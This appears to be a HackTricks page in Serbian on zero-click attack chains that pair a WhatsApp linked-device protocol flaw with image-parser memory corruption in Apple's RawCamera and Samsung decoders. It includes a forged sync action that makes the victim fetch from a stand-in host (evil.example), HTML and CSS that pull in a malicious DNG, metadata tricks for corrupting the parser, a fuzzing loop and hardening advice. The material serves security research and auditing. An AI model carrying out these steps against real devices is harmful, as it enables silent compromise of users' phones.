Zero-click Messaging → Image Parser Chains
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
TL;DR
- Smatrajte messaging app multi-device/companion protocols kao kanale za daljinsko upravljanje: čak i ako se polja protokola smatraju da dolaze iz pouzdanih uređaja, ona mogu biti pod kontrolom korisnika i često se mogu direktno replay-ovati protiv žrtve da učitaju proizvoljan sadržaj sa 0 user interaction.
- Kad bilo koju aplikaciju prisilite da fetch-uje nepoverljive medije, ciljajte na shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) sa malformiranim fajlovima da biste pivot-ovali iz sandbox-a.
- DNG-based RawCamera i Samsung parser bagovi opisani ovde su konkretni primeri, ali cela tehnika je ponovljiv blueprint za chain-ovanje logic flaws → image parser memory corruption → full device compromise.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
Arhitektura WhatsApp “linked devices” održava primarni telefon i svaki companion (desktop, tablet, sekundarni telefon) u sinhronizaciji putem enkriptovanih, strukturiranih protokol poruka. Svaka poruka enkodira:
- Device metadata (device ID, capabilities, feature flags).
- Action descriptors (npr. sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters kao što su URI-ji, MIME hintovi, pagination keys, itd.
Na Apple klijentima, handler koji procesira ove linked-device control pakete je implicitno verovao da je validno sparivanje već obavljeno, pa su visoko-impaktna polja (npr. resource_url, open_media, sync_snapshot) bila samo minimalno validirana. Maliciozna companion poruka je zato mogla:
- Biti routovana ka bilo kom account-u identifikovanom po broju telefona.
- Preživeti transport stack (Noise protocol + WhatsApp protobuf framing) zato što receiver nikada nije verifikovao da je sender legitimno paired device.
- Doseći iOS klijent, gde je ranjivi code path automatski pokretao background HTTP(S) zahtev ka attacker URL-u i parsirao odgovor u skrivenom WebView/media renderer-u.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Povežite debugger ili Frida skriptu na desktop/iOS klijent i hook-ujte post-decryption handler (npr.
LinkedDevicesSyncHandler::processAction). Dump-ujte dekodirane protobuf payload-e da biste naučili dostupne tipove akcija i parametre. - Identify fields that cross trust boundaries. Bilo koja akcija koja nosi
http_url,thumbnail_uri,download_url, ilirender_htmlparametre bez strogo definisanih allow-lista je kandidat za remote-content primitiv. - Forge a malicious action. Reuse-ujte uočen protobuf schema i izmenite samo attacker-controlled polja. Pojednostavljen JSON pregled relevantne logičke strukture je prikazan ispod (stvarni transport je protobuf/Noise, ali semantička polja se slažu):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Deliver to the victim. Reproducirajte sastavljeni paket kroz isti WhatsApp servis koji normalno prosleđuje saobraćaj povezanih uređaja (npr. koristeći modifikovani desktop klijent ili prilagođeni Noise client koji ponovo koristi ključeve vašeg napadačkog naloga). Pošto CVE-2025-55177 nije povezao akcije sa autentifikovanim uređajima, žrtvin iOS/macOS klijent bi prihvatio poruku i odmah preuzeo napadačev URL bez ikakvog UI.
- Instrument the fetch. Posmatrajte prisilni HTTP(S) zahtev i interni renderer (WKWebView/ImageIO). U tom trenutku posedujete zero-click web delivery primitive unutar WhatsApp-a.
Weaponizing auto-decoded DNGs against RawCamera
Kada napadač kontroliše šta WhatsApp učitava, sledeći cilj je naterati iOS/macOS da parsira zlonamerni Digital Negative (DNG) fajl pomoću RawCamera frameworka. Bilo koji ugrađeni <img>/CSS URL koji se razreši na .dng biće prosleđen sistemskom pipeline-u za slike, pozivajući RawCamera čak i ako WhatsApp sam po sebi nikada eksplicitno nije rukovao DNG-ovima.
Triggering RawCamera from WhatsApp
- Poslužite HTML koji referencira DNG putem više mehanizama (npr.
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), ili<picture>sources) da pokrijete različite putanje renderovanja. - Obezbedite ispravan MIME (
image/x-adobe-dng) i male sličice pregleda tako da loader ne odustane prerano zbog heuristike veličine. - iOS media sandbox će streamovati fajl u RawCamera preko
CGImageSourceCreateWithURL, što će na kraju pogoditi ranjivi dekoder.
Crafting memory-corrupting DNGs (CVE-2025-43300 style)
Reprodukovani bag zavisio je od nekonzistentnih metapodataka koji su desinhronizovali alokaciju bafera od stvarnog čitanja piksela. Tipične poluge uključuju:
- Tile/strip descriptors: Postavite
TileByteCounts/StripByteCountsna realistične vrednosti, ali povećajteTileOffsetsda upućuju izvan alociranog bafera. - Sub-IFD chains: Ugradite sekundarne slike sa konfliktnim
ImageWidth/ImageLengthiBitsPerSampletako da RawCamera izračuna mali bafer dok kasniji stadijumi veruju dimenzijama kontrolisanim od napadača. - Opcode metadata: Manipulišite
OpcodeList3unose tako da obrada po redu radi sa indeksima koje je odabrao napadač.
Osnovni mutation harness za traženje takvih korupcija može se izgraditi oko macOS-a, pošto isti RawCamera kod isporučuje na macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Svaki crash u RawCamera-u daje novi primitive. Objavljeni PoC postigao je pouzdan out-of-bounds read/write dovoljan da sruši WhatsApp na iPhone, iPad i Mac.
Izgradnja 0-click lanca
- Linked-device packet → prisiljava WhatsApp da preuzme
https://evil.example/payload.htmlbez ikakvih dodira. - Payload HTML → tiho referencira
evil.dng, osiguravajući da OS-ov media stack pozoveRawCamera. - Malicious DNG → iskorišćava konstruisane tagove da pokrene RawCamera OOB i sruši/kompromituje dekoder slika.
- Post-corruption exploitation → dodajte info-leak gadgets (npr. zloupotrebljavajući predvidljivu heap metadata) i postavite ROP/JOP lanac da pobegnete iz WhatsApp sandbox-a u privilegovanije kontekste.
Pošto je svaki korak automatski, napadaču je dovoljan samo telefonski broj žrtve. Na ciljnom uređaju se ne prikazuju notifikacije, baneri ni promptovi.
Samsung vendor image parser parallels
Samsung-ov bulletin za CVE-2025-21043 potvrdio je da njihov vlasnički image parsing stack (korišćen od strane Gallery, Messages, i takođe indirektno od WhatsApp) pati od out-of-bounds write koji je dostižan preko nepouzdanih medija. Metodologija eksploatacije odražava Apple lanac:
- Identifikujte auto-preview vektor (chat thumbnails, notification previews, share sheets) koji parsira fajl napadača pomoću Samsung-ovih
libimagecodec/libOneUI_ImageDecoderbiblioteka. - Uporedite (diff) OEM library update-ove ili fuzz-ujte parsere sa malformiranim RAW/DNG fajlovima dok ne primetite korupcije memorije slične RawCamera crash-u (prepisivanje heap metadata, kontrola registara, itd.).
- Dostavite konstruisani fajl kroz bilo koji kanal koji već automatski učitava sadržaj (npr. isti linked-device primitive, WhatsApp preview fetcheri, ili Android-ove push-to-talk waveform previews).
Kada OOB write postoji u vendor parseru, kombinovanje sa WhatsApp auto-fetch primitive-om daje još jedan zero-click lanac na Samsung uređajima.
Lista provera za testiranje i hardening
- Protocol validation: Primena strogih allow-lista za svaku linked-device akciju. Kompanjonske komande koje zahtevaju fetch/render moraju dokazati uparivanje uređaja (potpisivanjem payload-a) i URL bi trebalo da odgovara allow-listi ili potpisanom blob-u.
- Transport replay countermeasures: Vežite svaku akciju za ključ po uređaju i odbacujte pakete čiji je sender key nepoznat, čak i ako je protobuf sintaksa ispravna.
- Media pipeline restrictions: Aplikacije višeg nivoa treba da dozvoljavaju samo odobrene MIME tipove i eksplicitno odbijaju RAW/DNG osim ako funkcionalnost nije neophodna.
- Parser fuzzing regression tests: Čuvajte korpus malformiranih RAW/DNG fajlova i pokrećite ih protiv RawCamera/vendor dekodera posle svake nadogradnje.
- Crash triage automation: Prikačite
DYLD_INSERT_LIBRARIESsanitizere ili MTE na fuzz uređaje da uhvatite suptilne OOB uslove pre nego napadači.
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


